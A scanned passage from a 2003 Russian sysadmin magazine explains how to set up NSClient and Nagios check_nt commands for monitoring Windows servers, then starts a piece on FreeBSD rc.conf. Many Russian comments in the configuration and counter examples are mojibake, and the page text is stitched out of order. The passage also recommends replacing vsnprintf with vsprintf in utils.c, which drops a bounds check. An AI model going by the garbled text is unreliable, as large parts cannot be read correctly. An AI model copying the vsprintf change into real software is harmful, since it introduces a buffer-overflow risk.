serge Sergei Petrov 24x7 24x7 w,u,c,r d,u,r notify-by-email, ↵ notify-by-epager host-notify-by-email, ↵ host-notify-by-epager serge@test.ru 172345885@pager.icq.com

Пожалуйста, убедитесь, что вы внесли группу контактов win-admins в файл contactgroups.cfg.

С сайта производителя http://nsclient.ready2run.nl/ download.htmhttp://nsclient.ready2run.nl берем последнюю версию программы NSClient. Я использовал версию 1.0.7.1. После распаковки дистрибутива должны появиться следующие директории: LinuxBin – исполняемые файлы для Linux; UnixSource – исходный код для всех версий Unix; NTSource – исходный код для всех версий Windows; Win_2k_XP_Bin – исполняемые файлы для Windows 2000 и XP; Win_NT4_Bin – исполняемые файлы для Windows NT. Заглянув в директорию NTSource, понимаем – программа написана на Delphi. Впрочем, это обстоятельство никоим образом не мешает нам использовать ее для своих далеко идущих целей. Создаем директорию c:\Program Files\NSClient. Затем, в зависимости от установленной у нас операционной системы, копируем в нее содержимое либо из директории Win_2k_XP_Bin, либо из Win_NT4_Bin. Пользуясь меню Пуск → Выполнить запускаем командный интерпретатор cmd.exe. В появившемся окне набираем: > C:\Program Files\NSClient\pNSClient /install

define contactgroup{ contactgroup_name win-admins alias Windows admins members serge }

По окончании установки система должна продемонстрировать нам подобное окошко:

NSClient Закончив с обязательными действиями, перейдем к обсуждению первого способа мониторинга. Он состоит в том, чтобы установить на Windows-машину программу NSClient, доставшуюся нам в наследство от проекта NetSaint. Запустившись как сервис, она начнет через каждые пять секунд читать содержимое определенных системных счетчиков Windows. Полученные величины записываются в круговой буфер, в котором хранятся данные за последние 24 часа. Занимаясь сбором статистики, программа ожидает входящие соединения от клиентов на 1248-й порт. Для считывания данных и передачи их серверу мониторинга будет использоваться программа check_nt из стандартной коллекции модулей Nagios. Давайте посмотрим, какие именно сведения о функционировании подопытного Windows-сервера можно получить с помощью check_nt: загрузка одного или всех процессоров за последние 24 часа; наличие свободного места на любом подключенном к системе жестком диске; состояние запущенных процессов; данные об использовании оперативной памяти; время работы системы с момента последней перезагрузки; состояние запущенных сервисов; дату изменения любого файла; данные любого системного счетчика. Покончив с теорией, перейдем к инсталляции.

№7(8), июль 2003

Это значит, что программе удалось прописать себя в реестре подобающим образом. С помощью программы regedit откроем реестр. Ищем ветку \HKEY_LOCAL_MACHINE\SOFTWARE\NSClient\Params. Внутри расположились параметры password и port. Я думаю, предназначение каждого из них очевидно. Думаю, вы согласитесь с утверждением, что возможность просматривать статистику должна быть предоставлена только программам, запущенным на сервере мониторинга. Меняем содержимое параметра “password” на что-нибудь длинное и трудноподбираемое, например «PxRT890mY».

Теперь любой, кто попытается подключиться для по-

15


администрирование лучения данных на порт 1248, должен будет предъявить пароль. Проверим, как себя чувствует наш новый сервис NetSaint NT agent. Выбираем меню Пуск → Настройка → Панель управления. Затем дважды кликаем по пиктограмме «Администрирование», в открывшемся окне так же поступаем со значком «Службы». Должно получиться что-то подобное:

âèðòóàëüíîé ïàìÿòè" NT4_MemoryCommitByte = "\Ïàìÿòü\Áàéò âûäåëåííîé ↵ âèðòóàëüíîé ïàìÿòè" W2K_SystemTotalProcessorTime = "\Ïðîöåññîð(_Total) ↵ \% çàãðóæåííîñòè ïðîöåññîðà" W2K_SystemSystemUpTime = "\Ñèñòåìà\Âðåìÿ ðàáîòû ñèñòåìû" W2K_MemoryCommitLimit = "\Ïàìÿòü\Ïðåäåë âûäåëåííîé ↵ âèðòóàëüíîé ïàìÿòè" W2K_MemoryCommitByte = "\Ïàìÿòü\Áàéò âûäåëåííîé ↵ âèðòóàëüíîé ïàìÿòè"

Сохранив файл, перезапускаем сервис NetSaint NT agent. Тем, кому религия не позволяет вносить изменения в файлы собственноручно, предлагаю скачать модифицированную версию здесь: http://onix.opennet.ru/files/. Еще раз бегло просматриваем журнал событий, дабы убедиться в отсутствии ошибок при перезапуске сервиса. Также стоит удостовериться, что вся цепочка событий происходила в таком порядке: Запустив службу и вернувшись в окно «Администрирование», щелкаем по значку «Просмотр событий». Во вновь открывшемся окне выбираем «Журнал приложений». Находим уведомление от программы NSClient и кликаем на нем дважды.

NSClient is now responding to queries. NSClient 1.0.7.0 has started. Language code : 0x0419 NSClient is reading C:\Program Files\NSClient\counters.defs ↵ for counters definitions. Language code : 0x0419 NSClient has stopped

Закончив возню с Windows, переходим к Unix. В дальнейшем я предполагаю, что Nagios установлен в директорию /usr/local/nagios/. Запускается он с правами пользователя nagios, принадлежащего к группе nagios. По крайней мере, именно так это происходит во FreeBSD. Если вы используете другую операционную систему, то вполне возможно настройки будут слегка отличаться. Для начала берем на сайте проекта Nagios http://www.nagios.org/download/ самую свежую версию модулей. В моем случае это был файл nagiosplug-1.3beta1.tar.gz. Распакуем архив: # tar zxvf nagiosplug-1.3-beta1.tar.gz

Нам нужно было увидеть следующую строку «NSClient 1.0.7.0 has started. Language code : 0x0419», опираясь на ее содержимое, мы можем узнать цифровой код языка, используемого в системе. Для русского языка это 0x0419, а для английского, соответственно, 0x0409. В файле C:\Program Files\NSClient\counters.defs находится описание системных счетчиков для всех известных программе языков. Просмотрев его до конца, понимаем, что кодом 0x0419 тут явно не пахнет. Отсюда вывод – для русской версии Windows получим дырку от бублика вместо статистики. Осознав, что такое несправедливое положение вещей нас не устраивает, добавляем в counters.defs новую секцию с названиями счетчиков, соответствующими нашему языку: [0x0419] Description = "Russian" NT4_SystemTotalProcessorTime = "\Ñèñòåìà\% çàãðóçêè ↵ ïðîöåññîðà" NT4_SystemSystemUpTime = "\Ñèñòåìà\Âðåìÿ ðàáîòû ñèñòåìû" NT4_MemoryCommitLimit = "\Ïàìÿòü\Ïðåäåë âûäåëåííîé ↵

16

К сожалению, в официальном пакете модулей, подключаемых к Nagios, находится старая версия исходного текста программы check_nt. Если оставить все как есть, то некоторые функции сбора данных станут для нас недоступны. Сейчас мы легко в течение нескольких секунд устраним это досадное неудобство. Из дистрибутива, оставленного на Windows- машине, берем файл check_nt.c, расположившийся в директории UnixSource, и заменяем им старую версию, находящуюся на Unix-машине в директории ./nagiosplug-1.3-beta1/plugins/. Осталось исправить еще одну ошибку. Она касается только тех, кто использует FreeBSD или Solaris. Открываем файл ./nagiosplug-1.3-beta1/plugins/utils.c и ищем там строку: nchars = vsnprintf (str, size, fmt, ap);

Найдя, заменяем ее на вот это: nchars = vsprintf (str, fmt, ap);

Если не выполнить исправления, то все результаты работы модуля check_nt будут выглядеть таким образом:


администрирование Memory usage: total:??????? Mb - used: ??????? Mb (???????%) ↵ - free: ??????? Mb (???????%) c:\ - total: ??????? Gb - used: ??????? Gb (???????%) ↵ - free ??????? Gb (???????%) CPU Load (1 min. 12???????

Смотрится такое сборище вопросов весьма забавно. Жаль, но для нас такие данные абсолютно бесполезны. После работы над ошибками, возвратившись в главную директорию дистрибутива, проводим конфигурирование, сборку и инсталляцию. # cd .. # ./configure --prefix=/usr/local/nagios ↵ --with-nagios-user=nagios --with-nagios-grp=nagios # gmake all # gmake install

Стоит отметить тот факт, что для компиляции используется gmake вместо стандартной утилиты make. Иначе сборка сразу же после старта заканчивается сообщением о фатальной ошибке: Making all in plugins “/tmp/nagiosplug-1.3-beta1/plugins/Makefile”, line 760: ↵ Need an operator make: fatal errors encountered – cannot continue *** Error code 1

По завершению инсталляции приступаем к созданию новых команд, пользуясь которыми Nagios будет собирать данные. Описание всех используемых команд должно располагаться в файле checkcommands.cfg. Формат этого файла довольно прост. Каждая команда начинается с открывающего тега define command{. Затем с помощью ключевого слова command_name определяется имя команды. Следующая строка command_line определяет имя модуля, вызываемого для осуществления проверки и параметры, передаваемые ему процессом Nagios. Особое внимание следует обратить на макросы подстановки значений $USER1$, $HOSTADDRESS$, $ARG1$, $ARG2$. Давайте посмотрим, зачем нужен каждый из них: $USER1$ – путь, где нужно искать выполняемые модули. В нашем случае он равен /usr/local/nagios/libexec/. Значение этого макроса определяется в файле resource.cfg; $HOSTADDRESS$ – IP-адрес машины, подвергаемой проверке. Задается в определении сервисов внутри файла services.cfg; $ARG1$, $ARG2$ – параметры командной строки, передаваемые модулю проверки. Чаще всего используются для задания временных интервалов, порогов предупреждений и критических состояний. Завершается определение команды с помощью закрывающего тега }. Итак, приступим к разбору содержимого файла checkcommands.cfg. # Îïðåäåëÿåì êîìàíäó check_nt_cpuload . Èñïîëüçîâàòüñÿ îíà # áóäåò äëÿ ñáîðà äàííûõ î çàãðóæåííîñòè ïðîöåññîðà define command{ command_name check_nt_cpuload command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵ -v CPULOAD -l $ARG1$ -s $ARG2$ }

№7(8), июль 2003

# Êîìàíäà check_nt_memuse. Ïîêàçûâàåò äàííûå îá èñïîëüçîâàíèè # ïàìÿòè. Èìååòñÿ â âèäó âèðòóàëüíàÿ ïàìÿòü. define command{ command_name check_nt_memuse command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵ -v MEMUSE -w $ARG1$ -c $ARG2$ -s $ARG3$ } # Êîìàíäà check_nt_uptime. Îòîáðàæàåò âðåìÿ ðàáîòû ñèñòåìû # ñ ìîìåíòà ïîñëåäíåé ïåðåçàãðóçêè define command{ command_name check_nt_uptime command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵ -v UPTIME -s $ARG1$ } # Êîìàíäà check_nt_disk_space. Îòîáðàæàåò ðàçìåð ñâîáîäíîãî # ïðîñòðàíñòâà íà ëþáîì æåñòêîì äèñêå ñèñòåìû define command{ command_name check_nt_disk_space command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵ -v USEDDISKSPACE –l $ARG1$ -w $ARG2$ ↵ -c $ARG3$ -s $ARG4$ } # Îïèñûâàåì êîìàíäó check_nt_service. Ïîçâîëÿåò ïðîâåðèòü, # çàïóùåí ëè â ñèñòåìå òîò èëè èíîé ñåðâèñ. Îáðàòèòå âíèìàíèå # íà íåîáÿçàòåëüíóþ îïöèþ -d SHOWALL, ïîçâîëÿþùóþ âûâåñòè # áîëåå ïîäðîáíûå äèàãíîñòè÷åñêèå ñîîáùåíèÿ. define command{ command_name check_nt_service command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵ -v SERVICESTATE -d SHOWALL –l $ARG1$ ↵ -s $ARG2$ } # Ñàìàÿ ïðîñòàÿ èç âñåõ âûøåîïèñàííûõ êîìàíä # check_nt_client_version ïîçâîëÿåò óçíàòü âåðñèþ # ïðîãðàììû NSClient., ðàáîòàþùóþ â ñèñòåìå define command{ command_name check_nt_client_version command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵ -v CLIENTVERSION –s $ARG1$ } # Êîìàíäà check_nt_file_age äàåò âîçìîæíîñòü ïðîâåðèòü âðåìÿ # ìîäèôèêàöèè ëþáîãî ôàéëà íà ëîêàëüíîé ìàøèíå define command{ command_name check_nt_file_age command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵ -v FILEAGE -l $ARG1$ -w $ARG2$ ↵ -c $ARG3$ -s $ARG4$ } # Îïðåäåëÿåì êîìàíäó check_nt_process. Ïðåäîñòàâëÿåò # ìåõàíèçì, ñ ïîìîùüþ êîòîðîãî ìîæíî óçíàòü, ñóùåñòâóåò ëè # â ñèñòåìå òîò èëè èíîé ïðîöåññ. Îáðàòèòå âíèìàíèå # íà íåîáÿçàòåëüíóþ îïöèþ -d SHOWALL, ïîçâîëÿþùóþ âûâåñòè # áîëåå ïîäðîáíûå äèàãíîñòè÷åñêèå ñîîáùåíèÿ î ñîñòîÿíèè # ïðîöåññà. define command{ command_name check_nt_process command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵ -v PROCSTATE –d SHOWALL -l $ARG1$ -s $ARG2$ } # Êîìàíäà check_nt_counter äàåò âîçìîæíîñòü ïðîñìîòðåòü # ñîäåðæèìîå ëþáîãî ñ÷åò÷èêà ïðîèçâîäèòåëüíîñòè, è ïîýòîìó # ÿâëÿåòñÿ ñàìîé óíèâåðñàëüíîé èç âñåõ îïèñàííûõ êîìàíä. define command{ command_name check_nt_counter command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵ -v COUNTER -l $ARG1$ -w $ARG2$ ↵ -c $ARG3$ -s $ARG4$ }

После того как с файлом команд покончено, перейдем к файлу сервисов. Детально формат этого файла рассматривался в первой статье о Nagios. Здесь мы только

17


администрирование рассмотрим формат строчки check_command, напрямую связанной с обсуждавшимися ранее макросами и $ARG1$ в частности. check_command check_nt_process!"calc.exe,notepad.exe, ↵ mspaint.exe"!PxRT890mY

В приведенной выше строке check_command – ключевое слово, check_nt_process – название макрокоманды, описанной с файле checkcommands.cfg. Все параметры, передаваемые макросам $ARG1$, $ARG2$, $ARG3$ и так далее, должны быть отделены друг от друга восклицательным знаком. Таким образом, выходит, что значение "calc.exe,notepad.exe,mspaint.exe" будет передано в $ARG1$, а пароль PxRT890mY – в $ARG1$. Определившись с синтаксисом, переходим к файлу services.cfg: # Íà íàøåì ñåðâåðå ðàáîòàþò íåñêîëüêî ñàìîäåëüíûõ ïðîãðàìì. # Îíè äîëæíû âûïîëíÿòüñÿ êðóãëîñóòî÷íî, ïîýòîìó ìû ñîçäàëè # ñëåäóþùèé ñåðâèñ. # Äëÿ ïðèìåðà áóäóò èñïîëüçîâàòüñÿ îáùåäîñòóïíûå ïðîãðàììû # «Êàëüêóëÿòîð», «Paint», «Áëîêíîò», ïîñòàâëÿþùèåñÿ # ñ êàæäûì äèñòðèáóòèâîì Windows. define service{ use generic-service host_name win2000rus service_description User Programs is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r # Îáðàòèòå âíèìàíèå íà òîò ôàêò, ÷òî ìû ñëåäèì íå çà ñàìèìè # ïðîãðàììàìè, à çà èõ ïðîöåññàìè â ïàìÿòè. Èìåíà ïðîöåññîâ # ìîæíî óçíàòü ñ ïîìîùüþ âñòðîåííîãî â Windows ñòàíäàðòíîãî # äèñïåò÷åðà çàäà÷. Òàêæå ñòîèò âíèìàòåëüíî ïðèñìîòðåòüñÿ # ê ôîðìàòó ñïèñêà ïðîöåññîâ. check_command check_nt_process!"calc.exe,notepad.exe, ↵ mspaint.exe"!PxRT890mY } # Ýòîò ñåðâèñ ïîêàçûâàåò âåðñèþ ïðîãðàììû NSClient, # ðàáîòàþùåé â ñèñòåìå. define service{ use generic-service host_name win2000rus service_description NSClient Version is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r # Ôîðìàò êîìàíäû î÷åíü ïðîñòîé.  $ARG1$ ïåðåäàåòñÿ ïàðîëü check_command check_nt_client_version!PxRT890mY } # Êàæäûé ÷àñ óäàëåííûé ñåðâåð áàçû äàííûõ êëàäåò â ëîêàëüíóþ # ïàïêó îáùåãî äîñòóïà c:\upload\ ôàéë update.dbf.  ýòîì # ôàéëå íàõîäÿòñÿ îáíîâëåíèÿ áàçû äàííûõ. # Åñëè âðåìÿ ñîçäàíèÿ ôàéëà íå ìåíÿåòñÿ áîëüøå, ÷åì 70 ìèíóò, # çíà÷èò, ïðîèñõîäèò ÷òî-òî íåõîðîøåå, è íóæíî ïåðåéòè # â ñîñòîÿíèå ïðåäóïðåæäåíèÿ. #  ñëó÷àå, êîãäà íåò èçìåíåíèé â òå÷åíèè 90 ìèíóò, ñåðâèñ # ïåðåõîäèò â êðèòè÷åñêîå ñîñòîÿíèå. define service{ use generic-service host_name win2000rus service_description File age is_volatile 0 check_period 24x7

18

max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r # Âñå ïóòè ê ôàéëàì äîëæíû ñîäåðæàòü äâîéíîé ñèìâîë «\». check_command check_nt_file_age!"c:\\upload\\update.dbf ↵ "!70!90!PxRT890mY } # Ýòîò ñåðâèñ ïîêàçûâàåò êîëè÷åñòâî ñâîáîäíîé âèðòóàëüíîé # ïàìÿòè, êîòîðîå âû÷èñëÿåòñÿ òàêèì îáðàçîì. # NSClient ÷èòàåò ñîäåðæèìîå ñ÷åò÷èêà # «\Ïàìÿòü\Ïðåäåë âûäåëåííîé âèðòóàëüíîé ïàìÿòè» # è äåëèò åãî íà 100. Òàê ïîëó÷àåòñÿ âåëè÷èíà, ïîêàçûâàþùàÿ, # ñêîëüêî áàéò ïàìÿòè ïðèíèìàåòñÿ çà îäèí ïðîöåíò. # Çàòåì äàííûå èç ñ÷åò÷èêà # «\Ïàìÿòü\Áàéò âûäåëåííîé âèðòóàëüíîé ïàìÿòè» # äåëÿòñÿ íà êîëè÷åñòâî áàéò â îäíîì ïðîöåíòå. # Òàê ìû óçíàåì, ñêîëüêî ïðîöåíòîâ çàíÿòî. # Ê ñ÷àñòüþ, ëè÷íî çàíèìàòüñÿ ïîäîáíûìè îïåðàöèÿìè # íåò íåîáõîäèìîñòè. NSClient ñäåëàåò âñå ñàì. define service{ use generic-service host_name win2000rus service_description Free Memory is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r # Ïåðåõîä â ñîñòîÿíèå ïðåäóïðåæäåíèÿ ïðîèñõîäèò, åñëè çàíÿòî # 70% ïàìÿòè. Êðèòè÷åñêèé ñòàòóñ íàñòóïàåò, êîãäà # èçðàñõîäîâàíî 90% ïàìÿòè. check_command check_nt_memuse!70%!90%!PxRT890mY } # Ýòîò ñåðâèñ ïîçâîëÿåò óâèäåòü çàãðóçêó ïðîöåññîðà. define service{ use generic-service host_name win2000rus service_description CPU Load is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r # Íàãðóçêà ñ÷èòàåòñÿ â èíòåðâàëå çà îäíó ìèíóòó. Ïåðåõîä # â ñîñòîÿíèå ïðåäóïðåæäåíèÿ ïðîèñõîäèò ïðè äîñòèæåíèè óðîâíÿ # â 80%, à êðèòè÷åñêèé ñòàòóñ íàñòóïàåò, åñëè çàãðóçêà 90% # è áîëåå. Âñå ýòè õàðàêòåðèñòèêè çàäàþòñÿ öèôðàìè 1, 80, 90. check_command check_nt_cpuload!1,80,90!PxRT890mY } # Âðåìÿ áåñïåðåáîéíîé ðàáîòû ñèñòåìû ñ ìîìåíòà ïîñëåäíåé # ïåðåçàãðóçêè. define service{ use generic-service host_name win2000rus service_description Up time is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r check_command check_nt_uptime!PxRT890mY } # Ïðîâåðÿåì, ôóíêöèîíèðóåò ëè ñåðâèñ MS SQL SERVER # è ñàìîïèñíûé ñåðâèñ vmxposman.


администрирование define service{ use generic-service host_name win2000rus service_description CPU Load is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r # Ïðîáëåìà â òîì, ÷òî â ïðîãðàììå óïðàâëåíèÿ ñåðâèñàìè # Windows ïîêàçûâàåò ïîëíûå íàçâàíèÿ ñåðâèñîâ, # ïðåäíàçíà÷åííûå äëÿ ÷åëîâåêà. # Íàì íóæíî íàçâàíèå, êîòîðîå èñïîëüçóåòñÿ äëÿ âíóòðåííèõ íóæä # Windows. Óçíàòü ýòó òàéíó ìîæíî ëèáî ïîñìîòðåâ âåòâü ðååñòðà: # HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services., # ëèáî óñòàíîâèâ áåñïëàòíóþ óòèëèòó 'Service Manager NT', # äîñòóïíóþ äëÿ ñêà÷èâàíèÿ ïî ñëåäóþùåìó àäðåñó: http://www # rnks.informatik.tu-cottbus.de/~fsch/english/nttols.htm # Îáðàòèòå âíèìàíèå íà òîò ôàêò, ÷òî ïî àíàëîãèè ñ ïðîöåññàìè # èìåíà ñåðâèñîâ òîæå ìîæíî ïåðå÷èñëÿòü ÷åðåç çàïÿòóþ. check_command check_nt_service!”mssqlserver,vmxposman” } # Ñëåäèì çà êîëè÷åñòâîì çàäàíèé, íàõîäÿùèõñÿ # â î÷åðåäè ïðèíòåðà. define service{ use generic-service host_name win2000rus service_description Print Queue is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r # Èñïîëüçóÿ êîìàíäó check_nt_counter, ìîæíî ïîëó÷èòü äàííûå # ñ ëþáîãî ñ÷åò÷èêà.  äàííûì ñëó÷àå – # \Î÷åðåäü ïå÷àòè(_Total)\Çàäàíèé # Ñòðîêà «%.0f job(s)» óêàçûâàåò ìîäóëþ ïðèìåíèòü ê ðåçóëüòàòó # ïðåîáðàçîâàíèå ê òèïó float è âûâåñòè ÷èñëî â ôîðìàòå # ñ òî÷íîñòüþ íîëü çíàêîâ ïîñëå çàïÿòîé. # Çàòåì ê ÷èñëó äëÿ íàãëÿäíîñòè äîáàâëÿåòñÿ ñòðîêà «job(s)». # Åñëè âàì íåïîíÿòíî, ÷òî ýòî çíà÷èò, – ïîñìîòðèòå # äîêóìåíòàöèþ ïî ôóíêöèè printf ( ) ÿçûêà Ñ. # Ïåðåõîä â ñîñòîÿíèå ïðåäóïðåæäåíèÿ ïðîèñõîäèò # ïðè íàêîïëåíèè 5 çàäàíèé, à êðèòè÷åñêèé ñòàòóñ # íàñòóïàåò, åñëè èõ ñòàíîâèòñÿ 10 è áîëåå. check_command check_nt_counter! ↵ "\Î÷åðåäü ïå÷àòè(_Total)\Çàäàíèé", ↵ "%.0f job(s)"!5!10!PxRT890mY } # Ïðîâåðÿåì ïðîöåíò èñïîëüçîâàíèÿ ôàéëà ïîäêà÷êè define service{ use generic-service host_name win2000rus service_description Paging File is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r # Òóò ìû ñíîâà èñïîëüçóåì check_nt_counter, õîòÿ è íåìíîãî # äðóãèì ñïîñîáîì. # Ñòðîêà «Usage %.2f %%» óêàçûâàåò ìîäóëþ ïðèìåíèòü # ê ðåçóëüòàòó ïðåîáðàçîâàíèå ê òèïó float è âûâåñòè ÷èñëî # â ôîðìàòå ñ òî÷íîñòüþ äâà çíàêà ïîñëå çàïÿòîé. # Çàòåì äëÿ íàãëÿäíîñòè ïðèêëåèâàåì ñïåðåäè ñòðîêó «Usage». # Îáðàòèòå âíèìàíèå íà äâîéíîé çíàê «%» â ñòðîêå # ôîðìàòèðîâàíèÿ. # Ñíîâà âñïîìíèâ õîðîøèìè ñëîâàìè ôóíêöèþ printf ( ), # ïîíèìàåì, ÷òî â ðåçóëüòàòå èç äâóõ ïîëó÷èòñÿ îäèí ñèìâîë «%». # Ïåðåõîä â ñîñòîÿíèå ïðåäóïðåæäåíèÿ ïðîèñõîäèò ïðè äîñòèæåíèè # óðîâíÿ â 80 ïðîöåíòîâ, à êðèòè÷åñêèé ñòàòóñ íàñòóïàåò, # åñëè ôàéë ïîäêà÷êè çàïîëíåí íà 90 è áîëåå ïðîöåíòîâ.

№7(8), июль 2003

check_command check_nt_counter! ↵ "\Ôàéë ïîäêà÷êè(_Total)\% èñïîëüçîâàíèÿ", ↵ "Usage %.2f %%"!80%!90%!PxRT890mY }

Стоит отметить тот факт, что названия счетчиков, используемых в определении двух последних сервисов, написаны русскими буквами в кодировке cp1251. Если нарушить это требование, то NSClient не сможет понять, чего мы хотим от него добиться, и будет возвращать заведомо неправильные данные. Кодировка cp1251 используется для записи текстов по умолчанию всеми русскими Windows-системами. Вот тут-то нас и поджидает проблема. Дело в том, что в большинстве Unix-подобных систем для символов русского языка используется кодировка KOI8-R. Конечно, можно перенастроить консоль, на которой работаете под cp1251, но такой подход лично мне кажется неудобным. Поэтому я поступил гораздо проще. Используя FTP, перенес файл checkcommands.cfg на Windows-машину. Затем с помощью стандартного редактора «Блокнот» внес требуемые изменения. Сохранился, перенес файл обратно на Unix-машину и заменил старую копию в /usr/local/ nagios/etc/. В принципе нужного результата можно добиться разными путями. Немного подумав, я решил сделать это другим более простым способом. Набрал все нужные русскоязычные надписи в формате koi8-r. Из пакетов установил несколько программ для конвертирования текстов в разные кодировки: siconv-0.2.1 fconv-1.1 ru-xcode-1.0 ru-dt1489-1.4 ru-mtc-1.3

После тестирования выяснилось, что удобнее всего использовать утилиту ru-mtc. Для конвертирования нужно выполнить такую последовательность команд: # cat checkcommands.cfg | mtc –f koi8 ↵ –t win 1251 > checkcommands.tmp # mv checkcommands.tmp checkcommands.cfg

Теперь осталось только заставить Nagios перечитать файлы конфигурации: # /usr/local/etc/rc.d/nagios.sh restart

Убедившись в отсутствии ошибок, можно начать ставить разные садистские эксперименты по проверке того, насколько надежно и оперативно система мониторинга реагирует на критические ситуации, происходящие на Windows-машине. Например, для того чтобы посмотреть, как работает слежение за очередью принтера, можно выключить питание принтера и отправить несколько заданий на печать. Впрочем, я думаю, вы и сами сможете придумать разные способы создаия критических ситуаций. Наигравшись вдоволь, можно переходить ко второму способу мониторинга, который я опишу в следующей статье.

19


администрирование

ДЕНИС ПЕПЛИН 20


администрирование Знакомство с системой зачастую начинается с ее установки и настройки, причем эти два процесса обычно совмещены. Для систем Unix настройка сводится к созданию текстовых файлов конфигурации. В FreeBSD основная работа идет над файлом /etc/rc.conf, который является частью системы стартовых скриптов /etc/rc*. Настроить систему после установки можно путем запуска /stand/sysinstall или вручную. Оба способа хороши, а первый к тому же лишен недостатка большинства программ автоматической настройки: уже заданные параметры не перезаписываются, а добавляются в конец файла /etc/rc.conf, где их можно затем отредактировать под собственные нужды или вообще удалить, чтобы вернуться к настройкам по умолчанию. Многие, казалось бы, сложные вещи, которые могут поставить новичка в тупик, в FreeBSD делаются путем добавления пары строк в этот файл. Чтобы не быть голословным, приведу пример настройки шлюза в Интернет для локальной сети с частными адресами (192.168.0.0/24) на внутреннем интерфейсе и NAT на внешнем, кэширующим DNS-сервером и SSH для удаленного управления всем этим хозяйством. Хотя это не самый простой пример, конфигурация умещается всего на 11 строчках: sshd_enable="YES" ifconfig_rl0="inet 123.123.123.2 netmask 0xfffffff0" ifconfig_rl1="inet 192.168.0.1 netmask 0xffffff00" hostname="example.com" defaultrouter="123.123.123.1" firewall_type="OPEN" firewall_enable="YES" gateway_enable="YES" natd_enable="YES" natd_interface="rl0" named_enable="YES

Такая лаконичность достигается благодаря тому, что параметры по умолчанию хранятся в /etc/defaults/rc.conf, а строки из /etc/rc.conf лишь изменяют и дополняют эти параметры. Редактировать файл с параметрами по умолчанию не нужно (это только усложнит последующие обновления), но вот просмотреть его хотя бы раз будет полезно. Строки rc.conf означают не что иное, как установку переменных Bourne shell (/bin/sh). Когда в процессе загрузки системы init запускает скрипт /etc/rc, одним из первых его действий становится установка параметров настройки: if [ -r /etc/defaults/rc.conf ]; then . /etc/defaults/rc.conf source_rc_confs elif [ -r /etc/rc.conf ]; then . /etc/rc.conf fi

В данном случае перезаписыванием параметров по умолчанию занимается функция source_rc_confs (расположенная в /etc/defaults/rc.conf), которая и включает /etc/rc.conf, /etc/rc.conf.local или любые другие файлы из списка, определенного в переменной rc_conf_files. Конструкция эта могла бы быть несколько проще, но используемая функция уже содержит «защиту от дурака», поскольку некоторые пользователи считают удобным

№7(8), июль 2003

копировать /etc/defaults/rc.conf в /etc/rc.conf, что без такой защиты привело бы к зацикливанию. Включение в rc.conf команд нежелательно. Хотя такой метод и работает, процесс загрузки будет нарушен, ведь обычно в rc.conf ничего, кроме установки переменных не происходит, все действия выполняются позже стартовыми скриптами. При правильной настройке (установка переменных) порядок запуска сервисов и установки параметров системы определяется не положением строк в rc.conf, которое может быть произвольным, а содержимым скриптов. Начиная с FreeBSD 5.x, содержимое это поменялось почти полностью: из NetBSD были заимствованы скрипты «нового поколения» /etc/rc.d. После некоторой паузы, потребовавшейся на тестирование новых скриптов, старые были убраны. Наиболее важные из оставшихся в /etc скриптов и файлы конфигурации: rc – запускается init при загрузке системы. rc.shutdown – запускается init при останове системы. rc.subr – часть системы, импортированной из NetBSD. rc.firewall – предназначен для настройки ipfw и natd. rc.conf – содержит настройки системы, переписывающие параметры по умолчанию. rc.conf.local – специфичные для хоста настройки. Если используется этот файл, rc.conf может быть общим для группы хостов. rc.local – все еще поддерживается для запуска локальных сервисов. Вместо него рекомендуется использовать скрипты /usr/local/etc/rc.d. Для редактирования предназначены только скрипт rc.firewall и файлы конфигурации. Ситуация, в которой потребовалось бы приспосабливать к своей системе остальные скрипты, возникнуть не должна (по крайней мере, теоретически). Если она все же возникла – сообщите об этом разработчикам. Принципиальное отличие скриптов нового поколения – поддержка параметров запуска. По сравнению со скриптами из /usr/local/etc/rc.d список этих параметров существенно расширен. К минимальному набору (start|stop) добавились: restart – последовательно stop и start. reload – перегружает процесс, посылая ему сигнал. status – показывает статус процесса. poll – ждет завершения процесса. rcvar – показывает соответствующие переменные rc.conf. Параметры status, reload и poll реализуются только в том случае, если скрипт запускает какой-либо процесс. Введение параметров запуска существенно облегчает задачу запуска и рестарта отдельных сервисов без перезагрузки всей системы. Конечно, это было возможно и раньше, но рекомендация «перегрузиться на всякий случай» теперь имеет под собой гораздо меньше оснований. Перезагрузка после настройки системы нужна для того, чтобы проверить правильность внесенных в файлы конфигурации изменений. Когда стартовые скрипты

21


